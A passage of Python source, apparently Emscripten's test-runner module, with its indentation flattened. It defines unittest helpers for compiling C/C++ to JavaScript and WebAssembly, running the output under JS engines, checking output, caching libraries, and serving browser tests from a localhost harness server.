# Create the new test function. It calls the original function with the specified args.
# We use @functools.wraps to copy over all the function attributes.
@wraps(func)
def resulting_test(self):
return func(self, *args)
# Add suffix to the function name so that it displays correctly.
if suffix:
resulting_test.__name__ = f'{name}_{suffix}'
else:
resulting_test.__name__ = name
# On python 3, functions have __qualname__ as well. This is a full dot-separated path to the
# function. We add the suffix to it as well.
resulting_test.__qualname__ = f'{func.__qualname__}_{suffix}'
return resulting_test.__name__, resulting_test
def __new__(mcs, name, bases, attrs):
# This metaclass expands parameterized methods from `attrs` into separate ones in `new_attrs`.
new_attrs = {}
for attr_name, value in attrs.items():
# Check if a member of the new class has _parameterize, the tag inserted by @parameterized.
if hasattr(value, '_parameterize'):
# If it does, we extract the parameterization information, build new test functions.
for suffix, args in value._parameterize.items():
new_name, func = mcs.make_test(attr_name, value, suffix, args)
assert new_name not in new_attrs, 'Duplicate attribute name generated when parameterizing %s' % attr_name
new_attrs[new_name] = func
else:
# If not, we just copy it over to new_attrs verbatim.
assert attr_name not in new_attrs, '%s collided with an attribute from parameterization' % attr_name
new_attrs[attr_name] = value
# We invoke type, the default metaclass, to actually create the new class, with new_attrs.
return type.__new__(mcs, name, bases, new_attrs)
class RunnerCore(unittest.TestCase, metaclass=RunnerMeta):
# default temporary directory settings. set_temp_dir may be called later to
# override these
temp_dir = TEMP_DIR
canonical_temp_dir = get_canonical_temp_dir(TEMP_DIR)
# This avoids cluttering the test runner output, which is stderr too, with compiler warnings etc.
# Change this to None to get stderr reporting, for debugging purposes
stderr_redirect = STDOUT
def is_wasm(self):
return self.get_setting('WASM') != 0
def check_dylink(self):
if self.get_setting('ALLOW_MEMORY_GROWTH') == 1 and not self.is_wasm():
self.skipTest('no dynamic linking with memory growth (without wasm)')
if not self.is_wasm():
self.skipTest('no dynamic linking support in wasm2js yet')
if '-fsanitize=address' in self.emcc_args:
self.skipTest('no dynamic linking support in ASan yet')
if '-fsanitize=leak' in self.emcc_args:
self.skipTest('no dynamic linking support in LSan yet')
def require_v8(self):
if not config.V8_ENGINE or config.V8_ENGINE not in config.JS_ENGINES:
if 'EMTEST_SKIP_V8' in os.environ:
self.skipTest('test requires v8 and EMTEST_SKIP_V8 is set')
else:
self.fail('d8 required to run this test. Use EMTEST_SKIP_V8 to skip')
self.js_engines = [config.V8_ENGINE]
self.emcc_args.append('-sENVIRONMENT=shell')
def require_node(self):
if not config.NODE_JS or config.NODE_JS not in config.JS_ENGINES:
if 'EMTEST_SKIP_NODE' in os.environ:
self.skipTest('test requires node and EMTEST_SKIP_NODE is set')
else:
self.fail('node required to run this test. Use EMTEST_SKIP_NODE to skip')
self.js_engines = [config.NODE_JS]
def uses_memory_init_file(self):
if self.get_setting('SIDE_MODULE') or (self.is_wasm() and not self.get_setting('WASM2JS')):
return False
elif '--memory-init-file' in self.emcc_args:
return int(self.emcc_args[self.emcc_args.index('--memory-init-file') + 1])
else:
# side modules handle memory differently; binaryen puts the memory in the wasm module
opt_supports = any(opt in self.emcc_args for opt in ('-O2', '-O3', '-Os', '-Oz'))
return opt_supports
def set_temp_dir(self, temp_dir):
self.temp_dir = temp_dir
self.canonical_temp_dir = get_canonical_temp_dir(self.temp_dir)
# Explicitly set dedicated temporary directory for parallel tests
os.environ['EMCC_TEMP_DIR'] = self.temp_dir
@classmethod
def setUpClass(cls):
super().setUpClass()
print('(checking sanity from test runner)') # do this after we set env stuff
shared.check_sanity(force=True)
def setUp(self):
super().setUp()
self.settings_mods = {}
self.emcc_args = ['-Werror']
self.node_args = ['--stack-trace-limit=50']
self.v8_args = []
self.env = {}
self.temp_files_before_run = []
self.uses_es6 = False
self.js_engines = config.JS_ENGINES.copy()
self.wasm_engines = config.WASM_ENGINES.copy()
self.banned_js_engines = []
self.use_all_engines = EMTEST_ALL_ENGINES
if EMTEST_DETECT_TEMPFILE_LEAKS:
for root, dirnames, filenames in os.walk(self.temp_dir):
for dirname in dirnames:
self.temp_files_before_run.append(os.path.normpath(os.path.join(root, dirname)))
for filename in filenames:
self.temp_files_before_run.append(os.path.normpath(os.path.join(root, filename)))
if EMTEST_SAVE_DIR:
self.working_dir = os.path.join(self.temp_dir, 'emscripten_test')
if os.path.exists(self.working_dir):
if EMTEST_SAVE_DIR == 2:
print('Not clearing existing test directory')
else:
print('Clearing existing test directory')
# Even when EMTEST_SAVE_DIR we still try to start with an empty directoy as many tests
# expect this. EMTEST_SAVE_DIR=2 can be used to keep the old contents for the new test
# run. This can be useful when iterating on a given test with extra files you want to keep
# around in the output directory.
delete_contents(self.working_dir)
else:
print('Creating new test output directory')
ensure_dir(self.working_dir)
else:
self.working_dir = tempfile.mkdtemp(prefix='emscripten_test_' + self.__class__.__name__ + '_', dir=self.temp_dir)
os.chdir(self.working_dir)
if not EMTEST_SAVE_DIR:
self.has_prev_ll = False
for temp_file in os.listdir(TEMP_DIR):
if temp_file.endswith('.ll'):
self.has_prev_ll = True
def tearDown(self):
if not EMTEST_SAVE_DIR:
# rmtree() fails on Windows if the current working directory is inside the tree.
os.chdir(os.path.dirname(self.get_dir()))
try_delete(self.get_dir())
if EMTEST_DETECT_TEMPFILE_LEAKS and not DEBUG:
temp_files_after_run = []
for root, dirnames, filenames in os.walk(self.temp_dir):
for dirname in dirnames:
temp_files_after_run.append(os.path.normpath(os.path.join(root, dirname)))
for filename in filenames:
temp_files_after_run.append(os.path.normpath(os.path.join(root, filename)))
# Our leak detection will pick up *any* new temp files in the temp dir.
# They may not be due to us, but e.g. the browser when running browser
# tests. Until we figure out a proper solution, ignore some temp file
# names that we see on our CI infrastructure.
ignorable_file_prefixes = [
'/tmp/tmpaddon',
'/tmp/circleci-no-output-timeout',
'/tmp/wasmer'
]
left_over_files = set(temp_files_after_run) - set(self.temp_files_before_run)
left_over_files = [f for f in left_over_files if not any([f.startswith(prefix) for prefix in ignorable_file_prefixes])]
if len(left_over_files):
print('ERROR: After running test, there are ' + str(len(left_over_files)) + ' new temporary files/directories left behind:', file=sys.stderr)
for f in left_over_files:
print('leaked file: ' + f, file=sys.stderr)
self.fail('Test leaked ' + str(len(left_over_files)) + ' temporary files!')
def get_setting(self, key, default=None):
return self.settings_mods.get(key, default)
def set_setting(self, key, value=1):
if value is None:
self.clear_setting(key)
self.settings_mods[key] = value
def has_changed_setting(self, key):
return key in self.settings_mods
def clear_setting(self, key):
self.settings_mods.pop(key, None)
def serialize_settings(self):
ret = []
for key, value in self.settings_mods.items():
if value == 1:
ret.append(f'-s{key}')
elif type(value) == list:
ret.append(f'-s{key}={",".join(value)}')
else:
ret.append(f'-s{key}={value}')
return ret
def get_dir(self):
return self.working_dir
def in_dir(self, *pathelems):
return os.path.join(self.get_dir(), *pathelems)
def add_pre_run(self, code):
create_file('prerun.js', 'Module.preRun = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'prerun.js']
def add_post_run(self, code):
create_file('postrun.js', 'Module.postRun = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'postrun.js']
def add_on_exit(self, code):
create_file('onexit.js', 'Module.onExit = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'onexit.js']
# returns the full list of arguments to pass to emcc
# param @main_file whether this is the main file of the test. some arguments
# (like --pre-js) do not need to be passed when building
# libraries, for example
def get_emcc_args(self, main_file=False):
args = self.serialize_settings() + self.emcc_args
if not main_file:
for i, arg in enumerate(args):
if arg in ('--pre-js', '--post-js'):
args[i] = None
args[i + 1] = None
args = [arg for arg in args if arg is not None]
return args
def verify_es5(self, filename):
es_check = shared.get_npm_cmd('es-check')
# use --quiet once its available
# See: https://github.com/dollarshaveclub/es-check/pull/126/
es_check_env = os.environ.copy()
es_check_env['PATH'] = os.path.dirname(config.NODE_JS[0]) + os.pathsep + es_check_env['PATH']
try:
shared.run_process(es_check + ['es5', os.path.abspath(filename), '--quiet'], stderr=PIPE, env=es_check_env)
except subprocess.CalledProcessError as e:
print(e.stderr)
self.fail('es-check failed to verify ES5 output compliance')
# Build JavaScript code from source code
def build(self, filename, libraries=[], includes=[], force_c=False, js_outfile=True, emcc_args=[]):
suffix = '.js' if js_outfile else '.wasm'
compiler = [compiler_for(filename, force_c)]
if compiler[0] == EMCC:
# TODO(https://github.com/emscripten-core/emscripten/issues/11121)
# We link with C++ stdlibs, even when linking with emcc for historical reasons. We can remove
# this if this issues is fixed.
compiler.append('-nostdlib++')
if force_c:
compiler.append('-xc')
dirname, basename = os.path.split(filename)
output = shared.unsuffixed(basename) + suffix
cmd = compiler + [filename, '-o', output] + self.get_emcc_args(main_file=True) + emcc_args + libraries
if shared.suffix(filename) not in ('.i', '.ii'):
# Add the location of the test file to include path.
cmd += ['-I.']
cmd += ['-I' + str(include) for include in includes]
self.run_process(cmd, stderr=self.stderr_redirect if not DEBUG else None)
self.assertExists(output)
if js_outfile and not self.uses_es6:
self.verify_es5(output)
if js_outfile and self.uses_memory_init_file():
src = read_file(output)
# side memory init file, or an empty one in the js
assert ('/* memory initializer */' not in src) or ('/* memory initializer */ allocate([]' in src)
return output
def get_func(self, src, name):
start = src.index('function ' + name + '(')
t = start
n = 0
while True:
if src[t] == '{':
n += 1
elif src[t] == '}':
n -= 1
if n == 0:
return src[start:t + 1]
t += 1
assert t < len(src)
def count_funcs(self, javascript_file):
num_funcs = 0
start_tok = "// EMSCRIPTEN_START_FUNCS"
end_tok = "// EMSCRIPTEN_END_FUNCS"
start_off = 0
end_off = 0
js = read_file(javascript_file)
blob = "".join(js.splitlines())
start_off = blob.find(start_tok) + len(start_tok)
end_off = blob.find(end_tok)
asm_chunk = blob[start_off:end_off]
num_funcs = asm_chunk.count('function ')
return num_funcs
def count_wasm_contents(self, wasm_binary, what):
out = self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-opt'), wasm_binary, '--metrics'], stdout=PIPE).stdout
# output is something like
# [?] : 125
for line in out.splitlines():
if '[' + what + ']' in line:
ret = line.split(':')[1].strip()
return int(ret)
self.fail('Failed to find [%s] in wasm-opt output' % what)
def get_wasm_text(self, wasm_binary):
return self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-dis'), wasm_binary], stdout=PIPE).stdout
def is_exported_in_wasm(self, name, wasm):
wat = self.get_wasm_text(wasm)
return ('(export "%s"' % name) in wat
def run_js(self, filename, engine=None, args=[], output_nicerizer=None, assert_returncode=0):
# use files, as PIPE can get too full and hang us
stdout = self.in_dir('stdout')
stderr = self.in_dir('stderr')
error = None
if not engine:
engine = self.js_engines[0]
if engine == config.NODE_JS:
engine = engine + self.node_args
if engine == config.V8_ENGINE:
engine = engine + self.v8_args
if EMTEST_VERBOSE:
print(f"Running '{filename}' under '{shared.shlex_join(engine)}'")
try:
jsrun.run_js(filename, engine, args,
stdout=open(stdout, 'w'),
stderr=open(stderr, 'w'),
assert_returncode=assert_returncode)
except subprocess.CalledProcessError as e:
error = e
# Make sure that we produced proper line endings to the .js file we are about to run.
if not filename.endswith('.wasm'):
self.assertEqual(line_endings.check_line_endings(filename), 0)
out = read_file(stdout)
err = read_file(stderr)
if output_nicerizer:
ret = output_nicerizer(out, err)
else:
ret = out + err
if error or EMTEST_VERBOSE:
ret = limit_size(ret)
print('-- begin program output --')
print(ret, end='')
print('-- end program output --')
if error:
if assert_returncode == NON_ZERO:
self.fail('JS subprocess unexpectedly succeeded (%s): Output:\n%s' % (error.cmd, ret))
else:
self.fail('JS subprocess failed (%s): %s. Output:\n%s' % (error.cmd, error.returncode, ret))
# We should pass all strict mode checks
self.assertNotContained('strict warning:', ret)
return ret
def assertExists(self, filename, msg=None):
if not msg:
msg = 'Expected file not found: ' + filename
self.assertTrue(os.path.exists(filename), msg)
def assertNotExists(self, filename, msg=None):
if not msg:
msg = 'Unexpected file exists: ' + filename
self.assertFalse(os.path.exists(filename), msg)
# Tests that the given two paths are identical, modulo path delimiters. E.g. "C:/foo" is equal to "C:\foo".
def assertPathsIdentical(self, path1, path2):
path1 = path1.replace('\\', '/')
path2 = path2.replace('\\', '/')
return self.assertIdentical(path1, path2)
# Tests that the given two multiline text content are identical, modulo line
# ending differences (\r\n on Windows, \n on Unix).
def assertTextDataIdentical(self, text1, text2, msg=None,
fromfile='expected', tofile='actual'):
text1 = text1.replace('\r\n', '\n')
text2 = text2.replace('\r\n', '\n')
return self.assertIdentical(text1, text2, msg, fromfile, tofile)
def assertIdentical(self, values, y, msg=None,
fromfile='expected', tofile='actual'):
if type(values) not in (list, tuple):
values = [values]
for x in values:
if x == y:
return # success
diff_lines = difflib.unified_diff(x.splitlines(), y.splitlines(),
fromfile=fromfile, tofile=tofile)
diff = ''.join([a.rstrip() + '\n' for a in diff_lines])
if EMTEST_VERBOSE:
print("Expected to have '%s' == '%s'" % (limit_size(values[0]), limit_size(y)))
fail_message = 'Unexpected difference:\n' + limit_size(diff)
if not EMTEST_VERBOSE:
fail_message += '\nFor full output run with EMTEST_VERBOSE=1.'
if msg:
fail_message += '\n' + msg
self.fail(fail_message)
def assertTextDataContained(self, text1, text2):
text1 = text1.replace('\r\n', '\n')
text2 = text2.replace('\r\n', '\n')
return self.assertContained(text1, text2)
def assertContained(self, values, string, additional_info=''):
if type(values) not in [list, tuple]:
values = [values]
if callable(string):
string = string()
if not any(v in string for v in values):
diff = difflib.unified_diff(values[0].split('\n'), string.split('\n'), fromfile='expected', tofile='actual')
diff = ''.join(a.rstrip() + '\n' for a in diff)
self.fail("Expected to find '%s' in '%s', diff:\n\n%s\n%s" % (
limit_size(values[0]), limit_size(string), limit_size(diff),
additional_info
))
def assertNotContained(self, value, string):
if callable(value):
value = value() # lazy loading
if callable(string):
string = string()
if value in string:
self.fail("Expected to NOT find '%s' in '%s', diff:\n\n%s" % (
limit_size(value), limit_size(string),
limit_size(''.join([a.rstrip() + '\n' for a in difflib.unified_diff(value.split('\n'), string.split('\n'), fromfile='expected', tofile='actual')]))
))
def assertContainedIf(self, value, string, condition):
if condition:
self.assertContained(value, string)
else:
self.assertNotContained(value, string)
def assertBinaryEqual(self, file1, file2):
self.assertEqual(os.path.getsize(file1),
os.path.getsize(file2))
self.assertEqual(read_binary(file1),
read_binary(file2))
library_cache = {}
def get_build_dir(self):
ret = os.path.join(self.get_dir(), 'building')
ensure_dir(ret)
return ret
def get_library(self, name, generated_libs, configure=['sh', './configure'],
configure_args=[], make=['make'], make_args=None,
env_init=None, cache_name_extra='', native=False):
if env_init is None:
env_init = {}
if make_args is None:
make_args = ['-j', str(shared.get_num_cores())]
build_dir = self.get_build_dir()
output_dir = self.get_dir()
emcc_args = self.get_emcc_args()
hash_input = (str(emcc_args) + ' $ ' + str(env_init)).encode('utf-8')
cache_name = name + ','.join([opt for opt in emcc_args if len(opt) < 7]) + '_' + hashlib.md5(hash_input).hexdigest() + cache_name_extra
valid_chars = "_%s%s" % (string.ascii_letters, string.digits)
cache_name = ''.join([(c if c in valid_chars else '_') for c in cache_name])
if self.library_cache.get(cache_name):
print('<load %s from cache> ' % cache_name, file=sys.stderr)
generated_libs = []
for basename, contents in self.library_cache[cache_name]:
bc_file = os.path.join(build_dir, cache_name + '_' + basename)
with open(bc_file, 'wb') as f:
f.write(contents)
generated_libs.append(bc_file)
return generated_libs
print(f'<building and saving {cache_name} into cache>', file=sys.stderr)
if configure is not None:
# Avoid += so we don't mutate the default arg
configure = configure + configure_args
cflags = ' '.join(self.get_emcc_args())
env_init.setdefault('CFLAGS', cflags)
env_init.setdefault('CXXFLAGS', cflags)
return build_library(name, build_dir, output_dir, generated_libs, configure,
make, make_args, self.library_cache,
cache_name, env_init=env_init, native=native)
def clear(self):
delete_contents(self.get_dir())
if EMSCRIPTEN_TEMP_DIR:
delete_contents(EMSCRIPTEN_TEMP_DIR)
def run_process(self, cmd, check=True, **args):
# Wrapper around shared.run_process. This is desirable so that the tests
# can fail (in the unittest sense) rather than error'ing.
# In the long run it would nice to completely remove the dependency on
# core emscripten code (shared.py) here.
try:
return shared.run_process(cmd, check=check, **args)
except subprocess.CalledProcessError as e:
if check and e.returncode != 0:
self.fail('subprocess exited with non-zero return code(%d): `%s`' %
(e.returncode, shared.shlex_join(cmd)))
def emcc(self, filename, args=[], output_filename=None, **kwargs):
if output_filename is None:
output_filename = filename + '.o'
try_delete(output_filename)
self.run_process([compiler_for(filename), filename] + args + ['-o', output_filename], **kwargs)
# Shared test code between main suite and others
def expect_fail(self, cmd, **args):
"""Run a subprocess and assert that it returns non-zero.
Return the stderr of the subprocess.
"""
proc = self.run_process(cmd, check=False, stderr=PIPE, **args)
self.assertNotEqual(proc.returncode, 0, 'subprocess unexpectedly succeeded. stderr:\n' + proc.stderr)
# When we check for failure we expect a user-visible error, not a traceback.
# However, on windows a python traceback can happen randomly sometimes,
# due to "Access is denied" https://github.com/emscripten-core/emscripten/issues/718
if not WINDOWS or 'Access is denied' not in proc.stderr:
self.assertNotContained('Traceback', proc.stderr)
return proc.stderr
# excercise dynamic linker.
#
# test that linking to shared library B, which is linked to A, loads A as well.
# main is also linked to C, which is also linked to A. A is loaded/initialized only once.
#
# B
# main < > A
# C
#
# this test is used by both test_core and test_browser.
# when run under broswer it excercises how dynamic linker handles concurrency
# - because B and C are loaded in parallel.
def _test_dylink_dso_needed(self, do_run):
create_file('liba.cpp', r'''
#include <stdio.h>
#include <emscripten.h>
static const char *afunc_prev;
extern "C" {
EMSCRIPTEN_KEEPALIVE void afunc(const char *s);
}
void afunc(const char *s) {
printf("a: %s (prev: %s)\n", s, afunc_prev);
afunc_prev = s;
}
struct ainit {
ainit() {
puts("a: loaded");
}
};
static ainit _;
''')
create_file('libb.c', r'''
#include <emscripten.h>
void afunc(const char *s);
EMSCRIPTEN_KEEPALIVE void bfunc() {
afunc("b");
}
''')
create_file('libc.c', r'''
#include <emscripten.h>
void afunc(const char *s);
EMSCRIPTEN_KEEPALIVE void cfunc() {
afunc("c");
}
''')
# _test_dylink_dso_needed can be potentially called several times by a test.
# reset dylink-related options first.
self.clear_setting('MAIN_MODULE')
self.clear_setting('SIDE_MODULE')
# XXX in wasm each lib load currently takes 5MB; default INITIAL_MEMORY=16MB is thus not enough
self.set_setting('INITIAL_MEMORY', '32mb')
so = '.wasm' if self.is_wasm() else '.js'
def ccshared(src, linkto=[]):
cmdv = [EMCC, src, '-o', shared.unsuffixed(src) + so, '-s', 'SIDE_MODULE'] + self.get_emcc_args()
cmdv += linkto
self.run_process(cmdv)
ccshared('liba.cpp')
ccshared('libb.c', ['liba' + so])
ccshared('libc.c', ['liba' + so])
self.set_setting('MAIN_MODULE')
extra_args = ['-L.', 'libb' + so, 'libc' + so]
do_run(r'''
#ifdef __cplusplus
extern "C" {
#endif
void bfunc();
void cfunc();
#ifdef __cplusplus
}
#endif
int test_main() {
bfunc();
cfunc();
return 0;
}
''',
'a: loaded\na: b (prev: (null))\na: c (prev: b)\n', emcc_args=extra_args)
for libname in ['liba', 'libb', 'libc']:
self.emcc_args += ['--embed-file', libname + so]
do_run(r'''
#include <assert.h>
#include <dlfcn.h>
#include <stddef.h>
int test_main() {
void *bdso, *cdso;
void (*bfunc_ptr)(), (*cfunc_ptr)();
// FIXME for RTLD_LOCAL binding symbols to loaded lib is not currently working
bdso = dlopen("libb%(so)s", RTLD_NOW|RTLD_GLOBAL);
assert(bdso != NULL);
cdso = dlopen("libc%(so)s", RTLD_NOW|RTLD_GLOBAL);
assert(cdso != NULL);
bfunc_ptr = (void (*)())dlsym(bdso, "bfunc");
assert(bfunc_ptr != NULL);
cfunc_ptr = (void (*)())dlsym(cdso, "cfunc");
assert(cfunc_ptr != NULL);
bfunc_ptr();
cfunc_ptr();
return 0;
}
''' % locals(),
'a: loaded\na: b (prev: (null))\na: c (prev: b)\n')
def filtered_js_engines(self, js_engines=None):
if js_engines is None:
js_engines = self.js_engines
for engine in js_engines:
assert engine in config.JS_ENGINES, "js engine does not exist in config.JS_ENGINES"
assert type(engine) == list
for engine in self.banned_js_engines:
assert type(engine) in (list, type(None))
banned = [b[0] for b in self.banned_js_engines if b]
return [engine for engine in js_engines if engine and engine[0] not in banned]
def do_run(self, src, expected_output, force_c=False, **kwargs):
if 'no_build' in kwargs:
filename = src
else:
if force_c:
filename = 'src.c'
else:
filename = 'src.cpp'
with open(filename, 'w') as f:
f.write(src)
self._build_and_run(filename, expected_output, **kwargs)
def do_runf(self, filename, expected_output=None, **kwargs):
self._build_and_run(filename, expected_output, **kwargs)
## Just like `do_run` but with filename of expected output
def do_run_from_file(self, filename, expected_output_filename, **kwargs):
self._build_and_run(filename, read_file(expected_output_filename), **kwargs)
def do_run_in_out_file_test(self, *path, **kwargs):
srcfile = test_file(*path)
out_suffix = kwargs.pop('out_suffix', '')
outfile = shared.unsuffixed(srcfile) + out_suffix + '.out'
expected = read_file(outfile)
self._build_and_run(srcfile, expected, **kwargs)
## Does a complete test - builds, runs, checks output, etc.
def _build_and_run(self, filename, expected_output, args=[], output_nicerizer=None,
no_build=False,
js_engines=None, libraries=[],
includes=[],
assert_returncode=0, assert_identical=False, assert_all=False,
check_for_error=True, force_c=False, emcc_args=[]):
logger.debug(f'_build_and_run: {filename}')
if no_build:
js_file = filename
else:
self.build(filename, libraries=libraries, includes=includes,
force_c=force_c, emcc_args=emcc_args)
js_file = shared.unsuffixed(os.path.basename(filename)) + '.js'
self.assertExists(js_file)
engines = self.filtered_js_engines(js_engines)
if len(engines) > 1 and not self.use_all_engines:
engines = engines[:1]
# In standalone mode, also add wasm vms as we should be able to run there too.
if self.get_setting('STANDALONE_WASM'):
# TODO once standalone wasm support is more stable, apply use_all_engines
# like with js engines, but for now as we bring it up, test in all of them
if not self.wasm_engines:
logger.warning('no wasm engine was found to run the standalone part of this test')
engines += self.wasm_engines
if self.get_setting('WASM2C') and not EMTEST_LACKS_NATIVE_CLANG:
# compile the c file to a native executable.
c = shared.unsuffixed(js_file) + '.wasm.c'
executable = shared.unsuffixed(js_file) + '.exe'
cmd = [shared.CLANG_CC, c, '-o', executable] + clang_native.get_clang_native_args()
self.run_process(cmd, env=clang_native.get_clang_native_env())
# we can now run the executable directly, without an engine, which
# we indicate with None as the engine
engines += [[None]]
if len(engines) == 0:
self.skipTest('No JS engine present to run this test with. Check %s and the paths therein.' % config.EM_CONFIG)
for engine in engines:
js_output = self.run_js(js_file, engine, args, output_nicerizer=output_nicerizer, assert_returncode=assert_returncode)
js_output = js_output.replace('\r\n', '\n')
if expected_output:
try:
if assert_identical:
self.assertIdentical(expected_output, js_output)
elif assert_all:
for o in expected_output:
self.assertContained(o, js_output)
else:
self.assertContained(expected_output, js_output)
if check_for_error:
self.assertNotContained('ERROR', js_output)
except Exception:
print('(test did not pass in JS engine: %s)' % engine)
raise
def get_freetype_library(self):
if '-Werror' in self.emcc_args:
self.emcc_args.remove('-Werror')
return self.get_library(os.path.join('third_party', 'freetype'), os.path.join('objs', '.libs', 'libfreetype.a'), configure_args=['--disable-shared', '--without-zlib'])
def get_poppler_library(self, env_init=None):
# The fontconfig symbols are all missing from the poppler build
# e.g. FcConfigSubstitute
self.set_setting('ERROR_ON_UNDEFINED_SYMBOLS', 0)
self.emcc_args += [
'-I' + test_file('third_party/freetype/include'),
'-I' + test_file('third_party/poppler/include')
]
freetype = self.get_freetype_library()
# Poppler has some pretty glaring warning. Suppress them to keep the
# test output readable.
if '-Werror' in self.emcc_args:
self.emcc_args.remove('-Werror')
self.emcc_args += [
'-Wno-sentinel',
'-Wno-logical-not-parentheses',
'-Wno-unused-private-field',
'-Wno-tautological-compare',
'-Wno-unknown-pragmas',
]
env_init = env_init.copy() if env_init else {}
env_init['FONTCONFIG_CFLAGS'] = ' '
env_init['FONTCONFIG_LIBS'] = ' '
poppler = self.get_library(
os.path.join('third_party', 'poppler'),
[os.path.join('utils', 'pdftoppm.o'), os.path.join('utils', 'parseargs.o'), os.path.join('poppler', '.libs', 'libpoppler.a')],
env_init=env_init,
configure_args=['--disable-libjpeg', '--disable-libpng', '--disable-poppler-qt', '--disable-poppler-qt4', '--disable-cms', '--disable-cairo-output', '--disable-abiword-output', '--disable-shared'])
return poppler + freetype
def get_zlib_library(self):
if WINDOWS:
return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'),
configure=['cmake', '.'],
make=['cmake', '--build', '.'],
make_args=[])
return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'), make_args=['libz.a'])
# Run a server and a web page. When a test runs, we tell the server about it,
# which tells the web page, which then opens a window with the test. Doing
# it this way then allows the page to close() itself when done.
def harness_server_func(in_queue, out_queue, port):
class TestServerHandler(SimpleHTTPRequestHandler):
# Request header handler for default do_GET() path in
# SimpleHTTPRequestHandler.do_GET(self) below.
def send_head(self):
if self.path.endswith('.js'):
path = self.translate_path(self.path)
try:
f = open(path, 'rb')
except IOError:
self.send_error(404, "File not found: " + path)
return None
self.send_response(200)
self.send_header('Content-type', 'application/javascript')
self.send_header('Connection', 'close')
self.end_headers()
return f
else:
return SimpleHTTPRequestHandler.send_head(self)
# Add COOP, COEP, CORP, and no-caching headers
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Cross-Origin-Opener-Policy', 'same-origin')
self.send_header('Cross-Origin-Embedder-Policy', 'require-corp')
self.send_header('Cross-Origin-Resource-Policy', 'cross-origin')
self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate')
return SimpleHTTPRequestHandler.end_headers(self)
def do_GET(self):
if self.path == '/run_harness':
if DEBUG:
print('[server startup]')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(read_binary(test_file('browser_harness.html')))
elif 'report_' in self.path:
# the test is reporting its result. first change dir away from the
# test dir, as it will be deleted now that the test is finishing, and
# if we got a ping at that time, we'd return an error
os.chdir(path_from_root())
# for debugging, tests may encode the result and their own url (window.location) as result|url
if '|' in self.path:
path, url = self.path.split('|', 1)
else:
path = self.path
url = '?'
if DEBUG:
print('[server response:', path, url, ']')
if out_queue.empty():
out_queue.put(path)
else:
# a badly-behaving test may send multiple xhrs with reported results; we just care
# about the first (if we queued the others, they might be read as responses for
# later tests, or maybe the test sends more than one in a racy manner).
# we place 'None' in the queue here so that the outside knows something went wrong
# (none is not a valid value otherwise; and we need the outside to know because if we
# raise an error in here, it is just swallowed in python's webserver code - we want
# the test to actually fail, which a webserver response can't do).
out_queue.put(None)
raise Exception('browser harness error, excessive response to server - test must be fixed! "%s"' % self.path)
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header('Cache-Control', 'no-cache, must-revalidate')
self.send_header('Connection', 'close')
self.send_header('Expires', '-1')
self.end_headers()
self.wfile.write(b'OK')
elif 'stdout=' in self.path or 'stderr=' in self.path or 'exception=' in self.path:
'''
To get logging to the console from browser tests, add this to
print/printErr/the exception handler in src/shell.html:
var xhr = new XMLHttpRequest();
xhr.open('GET', encodeURI('http://localhost:8888?stdout=' + text));
xhr.send();
'''
print('[client logging:', unquote_plus(self.path), ']')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
elif self.path == '/check':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
if not in_queue.empty():
# there is a new test ready to be served
url, dir = in_queue.get()
if DEBUG:
print('[queue command:', url, dir, ']')
assert in_queue.empty(), 'should not be any blockage - one test runs at a time'
assert out_queue.empty(), 'the single response from the last test was read'
# tell the browser to load the test
self.wfile.write(b'COMMAND:' + url.encode('utf-8'))
# move us to the right place to serve the files for the new test
os.chdir(dir)
else:
# the browser must keep polling
self.wfile.write(b'(wait)')
else:
# Use SimpleHTTPServer default file serving operation for GET.
if DEBUG:
print('[simple HTTP serving:', unquote_plus(self.path), ']')
SimpleHTTPRequestHandler.do_GET(self)
def log_request(code=0, size=0):
# don't log; too noisy
pass
# allows streaming compilation to work
SimpleHTTPRequestHandler.extensions_map['.wasm'] = 'application/wasm'
httpd = HTTPServer(('localhost', port), TestServerHandler)
httpd.serve_forever() # test runner will kill us
class Reporting(Enum):
"""When running browser tests we normally automatically include support
code for reporting results back to the browser. This enum allows tests
to decide what type of support code they need/want.
"""
NONE = 0
# Include the JS helpers for reporting results
JS_ONLY = 1
# Include C/C++ reporting code (REPORT_RESULT mactros) as well as JS helpers
FULL = 2
class BrowserCore(RunnerCore):
# note how many tests hang / do not send an output. if many of these
# happen, likely something is broken and it is best to abort the test
# suite early, as otherwise we will wait for the timeout on every
# single test (hundreds of minutes)
MAX_UNRESPONSIVE_TESTS = 10
unresponsive_tests = 0
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
@staticmethod
def browser_open(url):
if not EMTEST_BROWSER:
logger.info('Using default system browser')
webbrowser.open_new(url)
return
browser_args = shlex.split(EMTEST_BROWSER)
# If the given browser is a scalar, treat it like one of the possible types
# from https://docs.python.org/2/library/webbrowser.html
if len(browser_args) == 1:
try:
# This throws if the type of browser isn't available
webbrowser.get(browser_args[0]).open_new(url)
logger.info('Using Emscripten browser: %s', browser_args[0])
return
except webbrowser.Error:
# Ignore the exception and fallback to the custom command logic
pass
# Else assume the given browser is a specific program with additional
# parameters and delegate to that
logger.info('Using Emscripten browser: %s', str(browser_args))
subprocess.Popen(browser_args + [url])
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.also_asmjs = int(os.getenv('EMTEST_BROWSER_ALSO_ASMJS', '0')) == 1
cls.port = int(os.getenv('EMTEST_BROWSER_PORT', '8888'))
if not has_browser():
return
cls.browser_timeout = 60
cls.harness_in_queue = multiprocessing.Queue()
cls.harness_out_queue = multiprocessing.Queue()
cls.harness_server = multiprocessing.Process(target=harness_server_func, args=(cls.harness_in_queue, cls.harness_out_queue, cls.port))
cls.harness_server.start()
print('[Browser harness server on process %d]' % cls.harness_server.pid)
cls.browser_open('http://localhost:%s/run_harness' % cls.port)
@classmethod
def tearDownClass(cls):
super().tearDownClass()
if not has_browser():
return
